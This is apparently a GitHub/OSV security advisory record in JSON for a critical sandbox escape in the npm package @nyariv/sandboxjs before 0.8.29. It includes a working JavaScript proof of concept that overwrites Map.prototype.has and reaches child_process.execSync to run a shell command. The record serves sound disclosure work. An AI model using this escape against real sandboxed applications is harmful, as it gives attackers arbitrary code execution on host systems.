{"id":"GHSA-66h4-qj4x-38xp","summary":"@nyariv/sandboxjs has a Sandbox Escape vulnerability","details":"### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE","aliases":["CVE-2026-25587"],"modified":"2026-02-06T22:22:31.166947Z","published":"2026-02-05T21:05:59Z","database_specific":{"nvd_published_at":"2026-02-06T20:16:10Z","cwe_ids":["CWE-74","CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-02-05T21:05:59Z"},"references":[{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25587"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"affected":[{"package":{"name":"@nyariv/sandboxjs","ecosystem":"npm","purl":"pkg:npm/%40nyariv/sandboxjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.29"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.8.28","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-66h4-qj4x-38xp/GHSA-66h4-qj4x-38xp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}